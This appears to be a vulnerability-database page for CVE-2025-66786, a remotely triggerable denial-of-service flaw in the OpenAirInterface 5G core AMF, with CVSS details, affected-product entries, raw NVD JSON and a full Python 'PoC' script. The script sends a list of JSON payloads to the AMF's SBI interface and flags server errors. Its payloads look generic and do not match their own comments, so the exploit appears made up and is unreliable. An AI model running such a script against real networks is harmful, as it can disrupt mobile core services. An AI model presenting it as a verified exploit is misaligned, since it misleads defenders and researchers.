Security Vulnerability Report
中文
CVE-2025-66786 CVSS 7.5 HIGH

CVE-2025-66786

Published: 2026-01-07 17:16:01
Last Modified: 2026-01-29 01:06:48

Description

OpenAirInterface CN5G AMF<=v2.0.1 There is a logical error when processing JSON format requests. Unauthorized remote attackers can send malicious JSON data to AMF's SBI interface to launch a denial-of-service attack.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:openairinterface:oai-cn5g-amf:*:*:*:*:*:*:*:* - VULNERABLE
OpenAirInterface CN5G AMF <= v2.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66786 PoC - OpenAirInterface CN5G AMF JSON DoS Note: This PoC is for educational and authorized testing purposes only. """ import requests import json import sys import time def send_malicious_json(target_url, payload): """ Send malicious JSON payload to AMF SBI interface """ headers = { 'Content-Type': 'application/json', 'Accept': 'application/json' } try: response = requests.post( target_url, data=json.dumps(payload), headers=headers, timeout=10, verify=False ) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def generate_malicious_payloads(): """ Generate various malicious JSON payloads to trigger the logic error """ payloads = [ # Payload 1: Deeply nested JSON causing stack overflow {"data": {"level1": {"level2": {"level3": {"level4": {"level5": "recursive"}}}}}}, # Payload 2: Empty key with special characters {"": "malicious", "key": None}, # Payload 3: Array explosion {"array": [i for i in range(100000)]}, # Payload 4: Type confusion {"field": {"nested": [{"a": 1}, {"b": 2}]}}, # Payload 5: Unicode bypass attempt {"\u0000": "null_byte_injection", "data": "\uffff"}, # Payload 6: Malformed JSON structure {"invalid": {"structure": [{"key": "value"}, {"key": None}]}} ] return payloads def main(): if len(sys.argv) < 2: print("Usage: python3 cve_2025_66786_poc.py <target_url>") print("Example: python3 cve_2025_66786_poc.py http://target:8080/sbi/endpoint") sys.exit(1) target_url = sys.argv[1] print(f"[*] CVE-2025-66786 PoC - Testing {target_url}") print(f"[*] Target: OpenAirInterface CN5G AMF <= v2.0.1") payloads = generate_malicious_payloads() for i, payload in enumerate(payloads, 1): print(f"\n[*] Sending payload {i}/{len(payloads)}...") status, response = send_malicious_json(target_url, payload) if status: print(f"[+] Payload {i} - Status: {status}") if status >= 500: print(f"[!] Potential vulnerability triggered - Server error detected") else: print(f"[-] Payload {i} - Connection failed: {response}") time.sleep(1) print("\n[*] PoC execution completed") print("[*] Note: Successful exploitation may cause DoS on target AMF component") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66786", "sourceIdentifier": "[email protected]", "published": "2026-01-07T17:16:01.227", "lastModified": "2026-01-29T01:06:47.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenAirInterface CN5G AMF<=v2.0.1 There is a logical error when processing JSON format requests. Unauthorized remote attackers can send malicious JSON data to AMF's SBI interface to launch a denial-of-service attack."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openairinterface:oai-cn5g-amf:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.0.1", "matchCriteriaId": "5253B41B-2594-411B-9A32-6A0345E1CBDA"}]}]}], "references": [{"url": "https://github.com/swallele/Vulnerability/blob/main/Openairinterface/Dos/Json_Dos.md", "source": "[email protected]", "tags": ["Broken Link"]}]}}